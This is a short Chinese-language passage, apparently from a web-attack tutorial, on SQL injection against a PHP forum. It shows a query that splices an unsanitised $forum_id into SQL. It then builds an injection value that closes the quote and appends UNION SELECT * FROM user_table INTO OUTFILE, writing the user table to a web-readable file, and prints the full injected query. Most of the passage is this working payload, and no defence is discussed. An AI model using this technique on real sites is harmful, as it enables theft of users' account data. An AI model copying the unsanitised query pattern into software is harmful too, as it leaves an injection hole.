$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id'";
构造1:利用 SELECT * FROM table INTO OUTFILE '/path/file.txt'(要求mysql有file权限,注意在win系统中要绝对路径,如:c://path//file.txt )。把所查询的内容输入到file.txt,然后我们可以通http://ip/path/file.txt来访问得到查询的结果。上面的我们可以这样构造$forum_id:
$forum_id=' union select * from user_table into outfile '/path/file.txt'
以下:
$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";
